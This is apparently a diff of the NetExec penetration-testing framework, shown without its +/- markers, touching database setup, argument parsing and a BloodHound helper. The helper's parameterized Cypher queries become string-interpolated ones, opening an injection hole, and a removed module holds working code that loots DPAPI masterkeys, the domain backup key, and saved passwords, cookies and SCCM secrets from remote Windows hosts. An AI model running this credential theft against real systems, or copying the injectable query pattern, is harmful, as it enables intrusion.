@@ -55,22 +45,6 @@ def write_configfile(config, config_path):
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
db_engine = create_db_engine(proto_db_path)
protocol_object.database.db_schema(db_engine)
db_engine.dispose()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
@@ -88,8 +62,29 @@ def create_workspace(workspace_name, p_loader=None):
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
init_protocol_dbs(workspace_name, p_loader)
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def delete_workspace(workspace_name):
@@ -99,115 +94,4 @@ def delete_workspace(workspace_name):
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
"""
# the FTP and SSH protocols call the column host instead of IP
# TODO: normalize these column names
if hasattr(HostsTable.c, "ip"):
ip_column = HostsTable.c.ip
nxc_logger.debug("Using 'ip' column for filtering")
elif hasattr(HostsTable.c, "host"):
ip_column = HostsTable.c.host
nxc_logger.debug("Using 'host' column for filtering")
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
q = q.filter(ip_column == filter_term)
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def reflect_table(self, table):
with self.db_engine.connect():
try:
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
# Check for column addition / deletion
reflected_columns = set(reflected_table.columns.keys())
orm_columns = {column.name for column in table.__table__.columns}
if reflected_columns != orm_columns:
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
# Check for constraint changes
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
if reflected_constraints != orm_constraints:
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
commands_platform = {
"Windows": [
f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
f"del {self.db_path}"
],
"Linux": [
f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
f"rm -f {self.db_path}"
]
}
copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
with self.lock:
res = self.sess.execute(*args)
return res.freeze()() if res.returns_rows else res
def get_keys(self, key_id=None, cred_id=None):
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
return []
create_workspace("default")
+8 -13
View File
@@ -8,16 +8,18 @@ from nxc.logger import nxc_logger
def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(NXC_PATH)
if not exists(TMP_PATH):
mkdir(TMP_PATH)
folders = (
"logs",
"modules",
"protocols",
"workspaces",
"obfuscated_scripts",
"screenshots",
@@ -27,20 +29,13 @@ def first_run_setup(logger=nxc_logger):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(NXC_PATH, folder))
log_subfolders = (
"sam",
"lsa",
"ntds",
"dpapi",
)
for subfolder in log_subfolders:
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
logger.display(f"Creating missing folder logs/{subfolder}")
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
initialize_db()
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, NXC_PATH)
# if not exists(CERT_PATH):
# if os.name != 'nt':
# if e.errno == errno.ENOENT:
+1 -32
View File
@@ -1,6 +1,4 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
@@ -9,33 +7,4 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
return help_string
+5 -5
View File
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
-461
View File
@@ -1,461 +0,0 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
-214
View File
@@ -1,214 +0,0 @@
# SPDX-License-Identifier: GPL-2.0+
import struct
import uuid
from datetime import datetime
from nxc.logger import nxc_logger
class Substitution:
def __init__(self, buf, offset):
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
self.length = 4
self._id = sub_id
self._type = sub_type
self._optional = sub_token == 0x0e
def xml(self, template=None):
value = template.values[self._id]
if value.type == 0x0:
return None if self._optional else ""
if self._type == 0x1:
return value.data.decode("utf16")
elif self._type == 0x4:
return str(struct.unpack("<B", value.data)[0])
elif self._type == 0x6:
return str(struct.unpack("<H", value.data)[0])
elif self._type == 0x8:
return str(struct.unpack("<I", value.data)[0])
elif self._type == 0xa:
return str(struct.unpack("<Q", value.data)[0])
elif self._type == 0x11:
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
elif self._type == 0x13:
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
iav = struct.unpack_from(">Q", value.data, 2)[0]
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
elif self._type == 0x15 or self._type == 0x10:
return value.data.hex()
elif self._type == 0x21:
return value.template.xml()
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
nxc_logger.display(f"Unknown value type {hex(value.type)}")
class Value:
def __init__(self, buf, offset):
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + length * 2
def xml(self, template=None):
return self._val
class Attribute:
def __init__(self, buf, offset):
struct.unpack_from("<B", buf, offset)
self._name = Name(buf, offset + 1)
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
if next_token[0] == 0x05 or next_token == 0x45:
self._value = Value(buf, offset + 1 + self._name.length)
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
self.length = 1 + self._name.length + self._value.length
def xml(self, template=None):
val = self._value.xml(template)
return None if val is None else f'{self._name.val}="{val}"'
class Name:
def __init__(self, buf, offset):
hashs, length = struct.unpack_from("<HH", buf, offset)
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + (length + 1) * 2
class Element:
def __init__(self, buf, offset):
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
self._name = Name(buf, offset + 7)
self._dependency = dependency_id
ofs = offset + 7 + self._name.length
if token == 0x41:
struct.unpack_from("<I", buf, ofs)
ofs += 4
self._children = []
self._attributes = []
while True:
next_token = buf[ofs]
if next_token == 0x06 or next_token == 0x46:
attr = Attribute(buf, ofs)
self._attributes.append(attr)
ofs += attr.length
elif next_token == 0x02:
self._empty = False
ofs += 1
while True:
next_token = buf[ofs]
if next_token == 0x01 or next_token == 0x41:
element = Element(buf, ofs)
elif next_token == 0x04:
ofs += 1
break
elif next_token == 0x05:
element = Value(buf, ofs)
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
break
self._children.append(element)
ofs += element.length
break
elif next_token == 0x03:
self._empty = True
ofs += 1
break
else:
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
break
self.length = ofs - offset
def xml(self, template=None):
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
children = (x.xml(template) for x in self._children)
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
class ValueSpec:
def __init__(self, buf, offset, value_offset):
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
self.data = buf[value_offset:value_offset + self.length]
if self.type == 0x21:
self.template = BinXML(buf, value_offset)
class TemplateInstance:
def __init__(self, buf, offset):
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
if next_token == 0x0F:
self._xml = BinXML(buf, offset + 0x16)
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
values_length = 0
self.values = []
for x in range(num_values):
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
self.values.append(value)
values_length += value.length
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
nxc_logger.display(f"Unknown template token {hex(next_token)}")
def xml(self, template=None):
return self._xml.xml(self)
class BinXML:
def __init__(self, buf, offset):
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
if next_token == 0x0C:
self._element = TemplateInstance(buf, offset + 4)
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
self.length = 4 + self._element.length
def xml(self, template=None):
return self._element.xml(template)
class ResultSet:
def __init__(self, buf):
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
self._xml = BinXML(buf, 0x14)
def xml(self):
return self._xml.xml()
-350
View File
